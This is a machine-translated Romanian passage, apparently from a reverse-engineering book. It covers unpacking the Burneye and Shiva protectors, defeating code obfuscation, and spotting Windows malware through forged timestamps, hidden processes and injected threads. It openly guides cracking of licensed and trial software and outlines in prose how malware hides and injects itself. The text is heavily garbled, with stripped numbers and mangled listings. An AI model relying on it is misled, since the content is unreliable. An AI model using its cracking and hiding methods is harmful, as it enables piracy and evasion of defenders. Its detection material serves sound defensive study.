Capitolul Lupta cu ambalatori Burneye Primul wrapper UNIX care pretinde a fi un protector a fost creat de tânărul hacker Scut, alias „The Tower”, parte a grupului TESO, care lucrează în prezent la proiectul Linice - un analog al SoftICE pentru UNIX Burneye este un protector experimental care este distribuit gratuit La început, codul sursă nu a fost disponibil, dar apoi (sub presiunea publicului) a fost postat - % din codul total, iar apoi întregul proiect în ansamblu Îl puteți descărca de la http://www packetstormsecurity org/ Arhiva http://packetstorm linuxsecurity com/groups/teso/burneye-l -linux-static tar gz conține o versiune compilată care rulează sub Linux și oferă suport parțial BSD (instabil) Arhiva http://packetstorm linuxsecurity com/groups/teso/ burneye-stripped tar gz conține % din codul sursă și câteva articole cu idei noi, dar niciodată implementate, pentru consolidarea securității, iar arhiva http: // packetstorm linuxsecurity com/groups/teso/burneye- -src tar bz conține toate sursele Protectorul poate cripta fișierele folosind algoritmii SHA și RC , solicitând utilizatorului să introducă o parolă la pornire Teoretic, este posibil să piratați programul fără a cunoaște parola Criptografia nu stă pe loc, iar instrumentele potrivite pentru spargerea parolelor pot fi găsite aici: http://byterage hackaholic org/source/UNFburninhell Oc tar gz) În practică, este mult mai ușor să cumpărați o singură copie licențiată și apoi să puneți cheia pe afișaj public Pentru a preveni acest lucru, protectorul are capacitatea de a se „lega” de echipamentul utilizatorului (așa-numita amprentă) Acesta este un subiect destul de interesant care merită o luare în considerare separată și cu siguranță va fi luat în considerare într-una dintre cărțile ulterioare Deocamdată, să ne concentrăm doar pe despachetare Burneye constă din mai multe decriptoare imbricate unul în celălalt, generați aleatoriu Cu toate acestea, acest lucru nu împiedică foarte mult urmărirea, deoarece decriptatoarele sunt implementate ca proceduri Trucurile disponibile anti-dezasamblare se reduc la a sări în mijlocul comenzii și pot fi neutralizate cu ușurință atât în IDA Pro, cât și în HIEW Întregul protector conține un singur truc anti-depanare care împiedică urmărirea sub GDB și sub depanatorul integrat în IDA Pro (lista ) - Lista Cod dezasamblat care demonstrează singurul truc anti-depanare implementat în Burneye V »V »V V * » »» » , V mm->start code -t ; /* apelant == Burneye ??? */ dacă ((codeptr » ) == x ) printk(" semnătură x găsită'W); Dar totul devine imediat clar dacă te uiți la fișierul procesat de protectorul Burnyey (lista ) După cum puteți vedea, protectorul se localizează la adrese destul de necaracteristice, iar dumperul compară pur și simplu al -lea octet al adresei care apelează funcția brk() Lista Fragment dintr-un fișier ambalat cu un protector Bumeye : FF apăsați d, [ ] B: C pushfd С: pushad D: B D mov ecx,[ ] : E A jmp (D După rularea fișierului împachetat, un fișier /burnout dezambalat este generat automat pe disc, care nu mai este legat de computerul utilizatorului Acest fișier poate fi depanat sau dezasamblat în mod liber, după cum doriți Descărcarea unui modul rezident din memorie se face cu comanda rmmod burndump, dar nu vă grăbiți să vă despărțiți de el! Cu o mică modificare a codului sursă, vom putea despacheta și alți protectori (când apar), și nu doar Burneye Dumperul la nivel de nucleu este un lucru! Aceasta este o armă adevărată, cu care este foarte greu de tratat la nivel de aplicație! (Cu toate acestea, utilitarul pd menționat anterior se ocupă și cu Burneye cu ușurință ) Astfel, victoria asupra lui Burneye poate fi considerată completă și definitivă Shiva Acesta este un protector foarte ambițios, creat de doi guru (Neel Mehta și Shaun Clowes) și prezentat de aceștia la conferința Black Hat desfășurată în Asia în Textele sursă nu sunt dezvăluite, iar ansamblul binar finalizat poate fi descărcat atât de pe site-ul dezvoltatorilor (http://www securereality com au/archives/shiva- tar gz), cât și de pe serverul Black Hat (http:// blackhat com/presentations/bh-usa- /bh-us- -mehta/bh-us- -shiva- tar) Totodată, versiunea de pe serverul Black Hat este mai recentă, ceea ce duce la anumite reflecții În același loc, pe serverul Black Hat, puteți găsi textele unei prezentări multimedia de la ambii dezvoltatori, precum și o prezentare în format pdf: http://www blackhat com/presentations/bh-usa- /bh-us- -mehta/bh -us- -mehta pdf și http://www blackhat com/presentations/bh-asia- /bh-asia- -halvar pdf Dezvoltatorii au implementat puternic anti-depanare, criptare dinamică pe mai multe niveluri, emularea unor instrucțiuni de procesor În general, sa dovedit aproape ca Armadillo, doar sub Linux, dar, dacă Armadillo funcționează cumva, atunci Shiva pe multe sisteme duce la o eroare de Segmentare (Fig ) Testat special: KNOPPIX cu nuclee / Partea a V-a Săpărea codurilor practice și SuSE cu kernel , iar testarea a fost efectuată atât sub VMware, cât și pe o mașină „live” cu procesor AMD Athlon- Orez Eroare persistentă de segmentare atunci când încercați să rulați protectorul Shiva Variabile Shiva Runtime Cheile blocului de cifrare Codul funcției de extragere a decalajelor/cheilor Patch INT și date de instrucțiuni emulate Blocuri de criptare tipuri - Orez Structura unui fișier criptat de Shiva Prin urmare, toate informațiile furnizate mai târziu în această secțiune au fost obținute numai prin dezasamblarea și depanarea protectorului Structura unui fișier ELF protejat de Shiva este prezentată în fig Să începem cu depanarea, deoarece sub Linux aceasta este cea mai presantă problemă Sistemul de operare oferă biblioteca Ptrace pe care o folosește GDB, la fel ca marea majoritate a altor depanatoare, inclusiv depanatorul integrat în IDA Pro, ALD (Assembly Language Debugger), etc Problema este că biblioteca Ptrace nu poate fi reintrodusă, ceea ce înseamnă că un program care este deja în curs de depanare nu poate fi depanat ! Acest subiect este tratat mai detaliat în Capitolul , „Funcțiile de depanare în UNIX și Linux” Capitolul Lupta împotriva ambalatorilor Shiva a profitat de acest fapt prin generarea unui proces copil care se depanează singur, care a protejat eficient atât de urmărire, cât și de apelarea ptrace attach, deoarece funcționează și prin Ptrace! Găsirea unui depanator convenabil care ocolește Ptrace s-a dovedit a fi o sarcină surprinzător de dificilă Problema a fost agravată de faptul că, pe lângă aceasta, Shiva recunoaște steag-ul TRAP analizând bitul de urmărire din registrul procesorului eflags și monitorizează și parametrii de sincronizare Căutarea dezvăluie doar cimitire de proiecte abandonate Dintre toate depanatoarele disponibile, doar Linice (http://www linice com/) a venit să rezolve problema și chiar și atunci doar în modul VGA Hackerul Chris Eagle a mers pe partea inversă și, la aceeași conferință, a demonstrat cum să-l neutralizeze eficient pe Shiva În loc să caute programe de depanare care ocolesc Ptrace, a dezvoltat un depanator de emulator de procesor x , realizat ca plug-in pentru DA Pro și distribuit gratuit în codul sursă: http://sourceforge net/projects/ida-x emu Cu toate acestea, rețineți că necesită IDA SDK pentru a compila și nu toată lumea are acest produs Textul unei prezentări multimedia care descrie tehnica de hacking se află pe serverul Black Hat: http://www blackhat com/presentations/bh-federal- /bh-federal- -eagle/bh-fed- -eagle pdf și un set de utilitare de hacking (care include un dispozitiv de despachetare automat și mai multe scripturi utile pentru IDA Pro pentru a simplifica decriptarea) se află în fișierul alăturat: http://www blackhat com/presentations/bh-federal- /bh-federal- -eagle/bh-federal- -eagle zip Acum să trecem la decriptare Pentru a rezista la dumping chiar și la nivel de kernel, Shiva folosește decriptarea dinamică la cerere Paginile neutilizate în prezent sunt umplute cu octeți cch, reprezentând instrucțiunea int h Aceste instrucțiuni transferă controlul procesului părinte al depanatorului atunci când se încearcă executarea lor, semnalând necesitatea decriptării lor Decriptarea se realizează prin „schimbarea” octeților lipsă din spațiul de stocare „de rezervă” Desigur, acest truc funcționează doar cu cod, nu funcționează cu date și trebuie decriptate de un decriptor static În plus, Shiva înlocuiește instrucțiunile push, jmp și call din blocurile decodate cu int h și emulează execuția lor Totul este foarte simplu Shiva păstrează în memorie un tabel special cu adresele instrucțiunilor înlocuite, iar dacă trap ajunge la una dintre aceste adrese după executarea int oz, mecanismul de emulare este pornit În termeni practici, asta înseamnă că, chiar și după decriptarea tuturor blocurilor criptate, tot nu putem scăpa de Siva RTL (mediul de rulare) și vom fi forțați să „tragem” packer-ul împreună cu noi, cu excepția cazului în care, desigur, decodăm această adresă tabel și restaurați comenzile „furate” Pentru a contracara dezasamblatorul, Shiva generează o mulțime de cod polimorf și sare constant în mijlocul instrucțiunilor Comparație între ambalatori Principalele caracteristici ale celor mai populare pachete UNIX și Linux sunt rezumate în Tabelul Pentru o prezentare generală a depanatoarelor UNIX și Linux, consultați Capitolul , „Instrumente de hacking pentru UNIX și Linux” Partea a V-a Săpare practică de cod Tabelul Principalele caracteristici ale celor mai populare pachete UNIX (proprietățile nefavorabile pentru hackeri sunt evidențiate cu gri) Caracteristicile lui ELF-Crypt UPX Burpey Shiva Counter debugger nu nu da da Rezistenta la dezasamblare da nu da da Rezistență la urme nu da da da Abilitatea de a se conecta la proces da da da nu Prevenirea gunoiului Da Nu Nu Da interfață libc syscall syscall syscall Prezența unui dispozitiv de despachetare încorporat nu da nu nu Hacked da da da da În câțiva ani, când piața software-ului proprietar UNIX atinge un punct de rupere, pachetele executabile pot începe să joace un rol semnificativ Între timp, sunt potrivite doar pentru distracție și pentru pregătirea unei lupte cu un adversar cu adevărat serios Utilitare de hacker pentru UNIX sunt deja scrise și, până când mecanismele de apărare vor intra în arena, dezvoltatorii vor fi surprinși să constate că situația nu este deloc aceeași ca acum câțiva ani, iar acum nu li se opun pionierii, ci de specialisti bine pregatiti care nu au protector nu intimida Capitolul Obuscarea și depășirea ei În urmă cu câțiva ani, când războaiele cibernetice păreau terminate și hackerii au spart totul și totul, programatorii și-au întors brusc propria armă împotriva hackerilor - ofuscarea codului Până în prezent, nu există metode adecvate pentru a contracara această tehnică, dar primii pași în această direcție au fost deja făcuți Obfuscarea este un set de tehnici și instrumente menite să facă dificilă analiza codului programului Există diverse tipuri de obfuscatori: unii sunt angajați în limbaje interpretate precum Perl sau PHP și „mânge” textele sursă (elimină comentariile, dau variabilelor nume fără sens, criptează constantele șirului de caractere), alții „macina” bytecode-ul Java și NET mașini virtuale, ceea ce din punct de vedere tehnic este mult mai dificil Cei mai avansati obfuscatori pătrund direct în codul mașinii, „diluându-l” cu instrucțiuni nedorite și efectuând o serie întreagă de transformări structurale (mai rar matematice) care schimbă programul dincolo de recunoaștere Acesta este tipul de „încurcători” despre care vom vorbi De fapt, aceștia sunt aceleași generatoare polimorfe care au fost cunoscute din cele mai vechi timpuri, pur și simplu denumite puțin diferit Problema este că un generator polimorf poate genera cel puțin un miliard de instrucțiuni fără sens în câteva secunde, amestecându-le cu câțiva kilobytes de cod util - procesoarele și hard disk-urile moderne permit acest lucru, deși cu o pierdere de eficiență Dezasamblatorii nu au învățat încă cum să elimine „gunoiul” în modul automat și este nerealist să analizezi manual megaocteții de cod Avem nevoie de tehnici avansate de reconstrucție a fluxului de control, de analizare a codului „împânzit” și de împărțirea lui în fracții „utile” și „inutile” Nu există încă astfel de tehnici, nici măcar la nivelul „înțelegerii teoretice” Și deși unele idei pe acest subiect există încă (de exemplu, impunerea unei rute de urmărire pe graficele de dependență de date), implementarea practică este încă departe Metodele de ofuscare au fost utilizate în mod activ de multă vreme de către pachetele avansate precum Armadillo, acum redenumit Software Passport (http://siliconrealms com/armadillo shtml), eXtreme Protector (http://www oreans com/xprotector/), etc Cei mai mulți protectori „întâlnesc” doar propriul dispozitiv de despachetare, temându-se să interfereze cu codul programului protejat, deoarece acesta este plin de erori neașteptate în diferite locuri Ce fel de programator ar dori o astfel de protecție? Cu toate acestea, înfundarea procedurilor de verificare a numărului de serie (fișierul cheii) este destul de comună De obicei, este implementat într-un mod semi-automat, atunci când creatorul protecției interacționează cu obfuscatorul într-un fel sau altul (de exemplu, scrie un script pe care obfuscatorul îl traduce în cod de mașină plin, pretinzând că este un compilator „ineficient” ) Obfuscarea creează probleme reale hackerilor (Figura ), prevenind reconstrucția algoritmilor și spargerea rapidă a apărărilor Cu toate acestea, aceste probleme palid înaintea situației din antivirus 'Ofuscare ; Partea a V-a Săpărea codului practic industrie Pentru a sparge un program, în general nu este necesar să-i analizezi algoritmul Dar nu va fi posibil să detectați coduri rău intenționate (malware) fără acest lucru! În acest capitol, ne vom concentra numai pe tehnicile de spargere a programelor obscurate cu care hackerii trebuie să se confrunte din ce în ce mai des Orez Încercarea de a pirata programul protejat de Armadillo duce la blesteme înfiorătoare de apărare Metodele propuse aici vizează în primul rând programele protejate de o „perioadă de probă” Aceasta înseamnă că de ceva timp programul trebuie să ruleze în modul de funcționare completă fără a necesita o cheie (și majoritatea programelor sunt distribuite în astfel de condiții) Pentru unii, această condiție poate părea inutil de dură Dar cum rămâne cu programele cu funcții blocate sau cu programele care nu pornesc deloc fără cheie? Vai! În general, sunt extrem de greu de spart! Dacă un programator a criptat o parte a programului cu un algoritm criptografic puternic, atunci fără să cunoască cheia, hackerul nu va mai putea ajunge la posibilitățile blocate! Adevărat, dacă un hacker are cel puțin o singură cheie (de exemplu, mai mulți hackeri au cumpărat programul într-un club), atunci situația este simplificată considerabil Dar, chiar și în acest caz, este mai ușor să distribuiți cheia în sine decât să trageți în măruntaiele codului ofuscat Apropo, ce fel de tehnici de încurcare folosesc obfuscatorii? Cum funcționează un ofuscator Obuscarea în sine nu este o propoziție Nu orice ofuscator folosește tehnici de ofuscare progresivă, așa că nu ar trebui să cazi imediat în disperare când descoperi că programul piratat a fost obscurcat În cel mai simplu caz, generatorul polimorf pur și simplu „pompează” programul cu o grămadă de comenzi nesemnificative precum nop, xchg reg, reg sau reg, reg ; salturi care nu se execută niciodată ca xor reg, reg/jnz junk, unde xor este o comandă semnificativă, junk este „cod mort”, etc Un exemplu de cod procesat de un astfel de obfuscator este prezentat în Lista sau ch, ch; „Gunoi” care nu afectează registrul ch, ; dar afectând registrul steagurilor, totuși; acest efect este blocat de următorul porc xor eax, eax; Echipa potențial semnificativă ; (de ce „potențial” va fi explicat puțin mai târziu) seto bl ; Gunoi setat la dacă există ; preaplin, iar după porc este întotdeauna absent repne jnz scurt loc A ; „Gunoi” transferă controlul dacă nu este nul, Este de remarcat însă că comenzile „familiei” sau reg, reg (test reg, reg, add reg, ) afectează steagurile și nu aparțin numărului celor „complet fără sens” Capitolul dar după xor este întotdeauna setat steagul zero, plus prefixul herpetic fără sens rep jnp scurt loc D „Gunoi” transferă controlul dacă este impar, iar după rc steag de paritate este întotdeauna setat jo short loc „Garbage” care transferă controlul dacă steag-ul de depășire este setat și este șters xchg ebx,ebx ; ■ „Garbage”, schimbând registrele ebx Un script nu prea complicat pentru IDA Pro va găsi toate comenzile evident nesemnificative și le va marca ca „junk” sau chiar le va șterge cu totul Autorul IDA Pro, Ilfak Guilfanov, a scris Highlighter cu mult timp în urmă, un plug-in IDA Pro conceput în acest scop (Fig ) și distribuit gratuit în cod sursă: http://www hexblog com/ ida pro/files/highlighter zip Cu toate acestea, acest lucru gratuit este mai degrabă condiționat Pentru a compila pluginul, aveți nevoie de produsul IDA SDK și nu oricare, ci doar cea mai recentă versiune Cu toate acestea, acesta nu este un motiv pentru a fi supărat - la urma urmei, exact același algoritm poate fi implementat independent folosind limbajul de scripting integrat în IDA Pro unu / COD Junk adăugat de obfuscator Orez Rezultatul pluginului Highlighter, care vă permite să marcați comenzile „junk” cu o „linie albastră” (marcarea se face manual, deoarece nu există automatizare în Highlighter) Limbajul în sine este descris în detaliu în următoarea carte: Chris Kaspersky „Mindset - IDA Pro Dezasamblator” — M : Solon-R, Partea a V-a Săpare practică de cod Ofuscatorii mai complexe „amestecă” codul, răsucind fluxul de control într-o spirală complicată de salturi condiționate și necondiționate folosind tehnica de „suprapunere” a instrucțiunilor Ca urmare, se dovedește că unii octeți aparțin a doi și, în unele cazuri, a trei instrucțiuni de mașină deodată, ceea ce „oarbește” dezasamblatoarele, forțându-i să genereze o listare incompletă și incorectă! Cu toate acestea, în modul interactiv al IDA Pro, este încă posibil să dezasamblați codul, dar este foarte obositor Este mai bine să utilizați un trasor care generează o listă de instrucțiuni de mașină executate efectiv Pe parcurs, acest lucru vă permite să scăpați de o parte din gunoiul și codul „mort” Despre trasoare vom vorbi mai târziu, dar deocamdată să revenim la dezasamblari Luați în considerare un fragment dintr-o listă generată de IDA Pro atunci când dezasamblați un program procesat de un obfuscator folosind tehnica de „suprapunere” a comenzii (Listing ) Lista Demonstrarea tehnicii de „suprapunere” a instrucțiunilor mașinii utilizate prin ofuscare- adata: E loc E: , COD XREF: adata: j adata: E ; adata:loc A*j adata• E nov eax, EBB EBh adata• adata: loc : ; C'ODF XREF: adata: oc Dj adata: seto bl ; sari la mijlocul echipei adata: sau ch, bh adata: jmp shoi rt loc adata: adata A loc A: ; COD XREF: adata: j adata: A repne jmp short: near pti oc Eh adata D adata: D loc D: ; COD XREF: adata: oc Cj adata: D jmp short near ptr loc + Observați comanda Dh:jmp short oc + , afișată cu caractere aldine în Lista - Această instrucțiune sare la h+ h == h, adică la mijlocul instrucțiunii i h:seto bl (de asemenea, îngroșate) Mai mult, tranziția se realizează tocmai în mijlocul echipei Din punctul de vedere al unui dezasamblator (chiar și unul la fel de perfect ca IDA Pro), o instrucțiune este o unitate „atomică”, adică indivizibilă, structurală De fapt, fiecare instrucțiune de mașină constă dintr-o secvență de octeți și poate fi executată din orice poziție! În orice caz, procesoarele x nu necesită alinierea codului Cu alte cuvinte, nu avem „comenzi”, avem doar octeți! Dacă începem să executăm instrucțiunea nu de la primul octet, vom obține o comandă complet diferită! Din păcate, IDA Pro nu vă anunță care dintre ele Pentru a sări la iDh:jmp short oc + , trebuie să mutam cursorul pe eticheta oc și să apăsăm tasta pentru a „împărți” codul de dezasamblare în octeți, apoi să sărim la h și să apăsăm tasta pentru transforma octeții în cod de dezasamblare Codul rezultat din acești pași este afișat în Lista - Lista Decriptarea comenzii impuse adata: E unk E db adata: F db adata: db adata: db adata: loc : adata= jirp adata: B h; -j; COD XREF: adata:loc j OEBh; s B h; | ; COD XREF: adata:loc Aj scurt loc Capitolul adata: nop adata: adata: os : ; COD XREF: adata:loc Dj adata: jirp short loc F ; g sari aici adata: adata: std adata: jnp short loc adata: A adata: A loc A: ; COD XREF: adata: j adata: A repne jnp short loc Vedem că o pereche de instrucțiuni jmp loc F/std au apărut în locul instrucțiunii seto bl Care dintre cele două listări este corectă? Prima sau a doua? Separat - nici una, nici alta Ele devin „corecte” doar atunci când sunt considerate în combinație! Dar păstrarea acestor detalii în minte este nerealist, iar IDA Pro nu vă permite să comutați rapid între cele două opțiuni Rămâne să introduceți lista „alternativă” în comentarii, dar acest lucru este posibil doar dacă există câteva astfel de listări Dacă aceeași instrucțiune de mașină are trei sau mai multe „puncte de intrare”, atunci comentariile nu mai ajută și apare confuzia, forțând utilizarea unui trasor în locul unui dezasamblator (comparați lista de dezasamblare cu protocolul de urmărire dat în Lista ) Obfuscatorii sofisticați urmăresc dependențele de date prin injectarea de instrucțiuni semnificative cu „efect zero” Să explicăm acest lucru cu un exemplu concret Să presupunem că ofuscatorul întâlnește constructul prezentat în Lista Lista , Cod original înainte de procesarea obfuscatorului PUSH EAX ; + veți vedea un ecran negru Ce urmeaza? Este timpul să ridici vălul secretului asupra unor secrete ale hackerilor Timpul lasa si el amprente Cel mai adesea, un program rău intenționat își copiază corpul într-un fișier nou cu un nume aleatoriu sau fix, mai rar intră în fișierele existente A doua abordare necesită nu numai cunoașterea structurii fișierului PE, ci și anumite privilegii În special, având privilegiile unui utilizator obișnuit, nu puteți infecta pur și simplu fișierele de sistem În același timp, marea majoritate a scriitorilor de malware uită să corecteze data/ora creării fișierului, usurându-se Să presupunem că am lansat un fișier de origine dubioasă și vrem să știm dacă a făcut vreun truc murdar pe sistem? Primul lucru care vă vine în minte este să căutați fișierele create în ultimele xxx zile (în cazul nostru, unul) Toate modificările care au avut loc în sistem în ultimele de ore devin vizibile dintr-o privire! Alternativ, puteți lansa FAR Manager (Fig ), puteți seta modul de sortare după data creării ( + ) și puteți răsfoi toate directoarele „diabolice”, inclusiv WINNT, System , etc Fișiere, Capitolul Detectarea, depanarea și dezasamblarea programelor rău intenționate creat ultimul va fi în partea de sus a listei Tehnica este simplă, dar extrem de eficientă! Orez Examinarea datei de creare a fișierelor folosind FAR Manager Desigur, cu cât ne dăm seama mai târziu, cu atât va fi mai dificil să distingem fișierele „legale” de „ilegale”, mai ales dacă pe computer este instalată o cantitate mare din cele mai diverse programe Dar toate fișierele instalate de instalator (oriunde le plasează - în Program Files, WINNT sau System ) au aceeași dată de creare cu o mică răspândire în timp (pentru că fișierele nu sunt create în paralel, ci secvenţial), deci pot fi exclus imediat de pe lista suspecților Restul sunt supuse controlului Desigur, data creării fișierului este pur și simplu schimbată prin intermediul Win API, iar malware-ul, dacă se dorește, nu trebuie să se deghizeze Cu toate acestea, pe partițiile formatate pentru a utiliza NTFS, fiecare fișier are multe atribute „invizibile” care nu pot fi atinse prin API În special, atributul h ($file name), în plus față de timpii standard de creare, modificare și ultimul acces, stochează ora ultimei modificări a acestei înregistrări MFT Pentru fișierele „cinstite”, ora creării și ora ultimei modificări a MFT coincid întotdeauna, iar dacă nu este cazul, avem de-a face cu un fals Există și un atribut h ($standard information) , care stochează și informații despre momentul creării, modificării și ultimul acces la fișier, precum și ora ultimei modificări a MFT Cu toate acestea, spre deosebire de atributul h, aici ora de modificare a ultimei MFT este actualizată automat la fiecare Mașter File Table (MFT) este un metafișier special care conține informații despre toate celelalte obiecte din sistemul de fișiere Problemele legate de structura NTFS sunt tratate în detaliu în următoarea carte: Chris Kaspersky „Recuperarea datelor Un ghid practic” - Sankt Petersburg: BHV-Petersburg, Partea a V-a Săpărea codurilor practice momentul în care o nouă porțiune de clustere este alocată fișierului și, prin urmare, este posibil să nu coincidă cu momentul creării sale Nu există prea multe utilitare care afișează conținutul MFT într-un mod care poate fi citit de om Unul dintre ele este NtExplorer din Runtime Software (Figura - ) Mai simplu spus, acesta este un analog al Norton Disk Editor, dar conceput pentru NTFS Din păcate, NtExplorer nu acceptă nici un plugin sau script, așa că nu va fi posibilă listarea rapidă a fișierelor cu date de creare false Fiecare dintre fișierele suspecte trebuie examinat manual Din fericire, NTFS este un sistem de fișiere foarte simplu (după standardele moderne), iar toate structurile sale de bază au fost de mult reconstruite, documentate și postate pe Web: http://linux-ntfs org Schimbare = flttributes -==—= Schimbați atributele fișierului pentru syse exe [ ]ead only [x] arhivă Zidden [ ] sistem [ comprimat [ ] ncriptat [ ] Procesați subfolderele Modificarea timpului fișierului ZZ LL AAAA hh:mm:ss acces C/ ! ,' O(> ' [ Curre t ] [lank ] [Setare] [Anulare] Orez Detectarea unui fișier cu un timp de creare fals folosind Runtime NtExplorer - FAR Manager susține că dosarul a fost creat la , în timp ce intrarea corespunzătoare din MFT a fost modificată la Arborele de proces De obicei, un program rău intenționat își creează propriul proces (mai rar, se intrude în alții), în timp ce are o dorință complet naturală de a ascunde acest proces, eliminându-l din Managerul de activități și din alte utilitare de sistem Cum face ea? Pentru a oferi informații despre procese, sistemele de operare din familia Windows NT acceptă două mecanisme: un set de proceduri documentate TOOLHELP (moștenite de la Windows x) implementate în KERNEL DLL și o funcție nedocumentată NtQuerySysteminformation exportată de NTDLL DLL Funcția NtQuerySysteminformation este un „înveliș” subțire în jurul serviciului de sistem h implementat în NTOSKRNL EXE De fapt, funcția principală a TOOLHELP - createToolhelp Snapshot - se bazează în întregime pe informațiile NtQuerySystem, așa că avem de fapt același mecanism, doar interfețele sunt diferite Un program rău intenționat poate intercepta cu ușurință procedurile Process First/process Next de la TOOLHELP Dar acest lucru nu îi va oferi nimic, deoarece aproape toate utilitățile ("Task Manager", FAR Manager și chiar și programul primitiv tlist exe din SDK) funcționează exclusiv prin NtQuerySysteminformation (care este ușor de confirmat prin setarea unui punct de întrerupere) Capitolul Detectarea, depanarea și dezasamblarea programelor rău intenționate în SoftICE) Cu toate acestea, interceptarea informațiilor NtQuerySystem din stratul de aplicație nu este mai dificilă decât procedurile din setul TOOLHELP ! Există multe moduri de a face acest lucru: □ Modificați DLL-ul NTDLL de pe disc adăugând funcția NtQuerySysteminformation o comandă pentru a trece la propriul handler încorporat în spațiul liber din interiorul NTDLL DLL și „eliminând orice mențiune despre sine din informațiile returnate de funcția interceptată Metoda este simplă, dar "murdar" Este ușor de detectat prin dezasamblarea NTDLL DLL sau comparându-l cu originalul În plus, malware-ul va trebui să reziste mecanismului SFC, precum și instalarea pachetelor de service (Service Rask), dintre care unele se actualizează NTDLL DLL P Modificați informațiile NTDLL DLL!NtQuerySystem în memorie Deoarece Windows NT acceptă un mecanism de copiere la scriere care „împarte” automat paginile de memorie la scrieri, modificarea NTDLL DLL devine locală, limitată la contextul procesului de scriere Astfel, pentru a influența „Task Manager”, trebuie mai întâi să-l infiltră! Iată un scenariu posibil: malware-ul își creează propriul DLL și îl scrie în următoarea ramură a registrului de sistem: HKLMXSoftwareXMicrosoftXWindows NT\CurrentVersion\windows\AppInit DLLs Ca rezultat, acest DLL va fi mapat la toate procesele Pentru o mai mare secretizare, puteți modifica NTDLL DLL numai în contextul acelor procese care sunt utilizate pentru afișarea listei de sarcini (taskmgr exe, far exe, tlist exe etc ) În acest caz, căutând în interiorul informațiilor NtQuerySystem cu depanatorul, nu vom găsi nicio urmă de prezență a codului rău intenționat! Puteți, desigur, să verificați Appimt DLL, dar aceasta nu este singura modalitate de a injecta, așa că sarcina de a detecta malware devine mult mai complicată □ Modificați tabelul de import al taskmgr exe ("Task Manager"), prochst dll (plugin FAR Manager responsabil de listarea proceselor), thst exe pe disc (sau în memorie) La modificarea tabelelor de import, malware-ul înlocuiește apelurile către NtQuerySysteminformation cu propria sa funcție de wrapper O astfel de interceptare este ușor de detectat prin compararea fișierelor executabile cu imaginea lor de memorie, care poate fi obținută prin descărcarea unui utilitar precum PE Tools, iar malware-ul va trebui, în plus, să intercepteze funcția GetProcAddress pentru a monitoriza încărcarea dinamică a NTDLL DLL Cu drepturi de administrator, un program rău intenționat se poate infiltra în NTOSKRNL EXE și poate înlocui serviciul h cu propriul său handler Atunci nu va mai fi posibil să detectați un proces rău intenționat de la nivelul aplicației și va trebui să coborâți la nivelul kernelului Această problemă va fi discutată mai detaliat mai târziu în acest capitol, în secțiunea Recuperare SST SoftICE este poate singurul program dintre toate care nu folosește NtQuerySystemInformat] Pentru a afișa o listă de procese, SoftICE analizează în mod independent structurile de bază ale sistemului de operare și, prin urmare, dezvăluie cu ușurință procesele ascunse (Fig ) Teoretic, un program rău intenționat se poate infiltra în SoftICE și poate intercepta oricare dintre comenzile sale (de exemplu, comanda proc), acționând în același mod ca și binecunoscutele plugin-uri IceExt/IceDump (din fericire, ambele utilitare sunt distribuite în cod sursă) Cu toate acestea, în „fauna sălbatică” astfel de monștri nu s-au întâlnit încă Sperăm că pluginul IceExt, care ascunde SoftICE de majoritatea protecțiilor, îl va ascunde și de malware Totuși, acest lucru lasă în memorie amenințarea căutării semnăturii depanatorului În plus, un algoritm de ascundere ipotetic a fost discutat pe forumurile hackerilor de câțiva ani încoace, interceptând funcțiile de comutare a contextului și „ștergându-se” între comutatoarele de context Cu toate acestea, implementarea unui astfel de proiect se confruntă cu dificultăți practice insurmontabile Formatul structurilor procesorului nu este constant și variază de la o versiune a sistemului la alta, în plus, multe funcții nedocumentate interacționează cu acestea, numite în momente diferite din locuri diferite Programele rău intenționate care încearcă să se deghizeze în acest fel blochează constant sistemul într-un BSOD, care se dă imediat Partea a V-a Săpărea codurilor practice Orez SoftICE arată că procesul sysrtl lipsește în „Manager de activități” Astfel, vom presupune că pachetele de la SoftICE + IceExt sunt destul de suficiente pentru a vizualiza toate procesele (inclusiv cele ascunse) Interogarea firului Recent, din ce în ce mai des, programele rău intenționate nu își creează procese separate (care sunt foarte ușor de observat), ci preferă să se infiltreze în unul dintre cele existente Pentru aceasta se folosesc două mecanisme În primul caz, malware-ul alocă un bloc de memorie în procesul țintă folosind funcția VirtualAllocEx, se copiază prin WriteProcessMemory și creează un fir la distanță prin CreateRemoteThread Cel de-al doilea mecanism începe la fel ca primul, dar în loc să creeze un fir de execuție la distanță, programul rău intenționat oprește firul curent al procesului și schimbă registrul еір cu funcția setThreadcontext (în mod firesc, după salvarea valorii sale originale prin GetThreadcontext) ) Apoi, codul rău intenționat transferă controlul către propria sa procedură, care apelează CreateThread, restabilește ep și „deblochează” firul oprit anterior Primul mecanism funcționează numai pe sistemele din familia Windows NT, iar al doilea mecanism funcționează pe toate sistemele pe de biți din familia Windows Cum să detectăm o astfel de metodă de intruziune? Desigur, numărul de fire ale procesului atacat crește cu unul, dar acesta nu este încă un indicator Nimeni nu poate spune cu exactitate câte fire ar trebui să aibă o aplicație Nici măcar dezvoltatorul său direct nu poate ști asta! Să facem un experiment simplu Să începem „Notepad” și, după ce am trecut la „Task Manager”, vom vedea un singur fir Acum să selectăm comenzile din meniul File I Open Numărul de fire sare brusc până la cinci! Închidem fereastra de deschidere a fișierului - un flux dispare, patru rămân De ce se întâmplă asta? Se pare că întregul punct se află în bibliotecile dinamice SHLWAPI DLL, RPCRT DLL și OLE DLL, care „servesc” fereastra și generează propriile fire de execuție, copil Unele drivere pot genera fire de execuție și în aplicații străine (de obicei, în scopul apelării API-urilor aplicației) Trebuie să învățăm cumva să distingem fluxurile „legale” de „ilegale”, altfel lupta noastră împotriva malware-ului este sortită eșecului Iată o idee simplă, dar eficientă Adresa de pornire a unui fir legal se află în imaginea paginii (în secțiunile code și text), în timp ce adresa de pornire a unui fir ilegal se află în heap, adică zona de memorie dinamică alocată de funcția VirtualAllocEx Pentru a expune imigranții ilegali, noi, în primul rând, Capitolul Detectarea, depanarea și dezasamblarea programelor rău intenționate aveți nevoie de o hartă a spațiului de adrese SoftICE nu îl afișează în cea mai vizuală formă, așa că este mai bine să utilizați OllyDbg sau PE Tools În OllyDbg, în meniul File, selectați comanda Attach și specificați procesul ale cărui fire le vom examina După atașarea cu succes la proces, selectați Vizualizare | Meshogu sau apăsați combinația de tastaturi -r Un exemplu de card de memorie rezultat este prezentat în fig Orez , Harta memoriei Notepad afișată de PE Tools Partea a V-a Săpărea codurilor practice Regiunile etichetate Priv (private) aparțin blocurilor heap, iar etichetele Map (mapping) corespund proiecțiilor fișierelor create de funcțiile createFileMappang/ MapViewOfFile) Etichetele Imag (imagini) marchează imagini de pagină ale 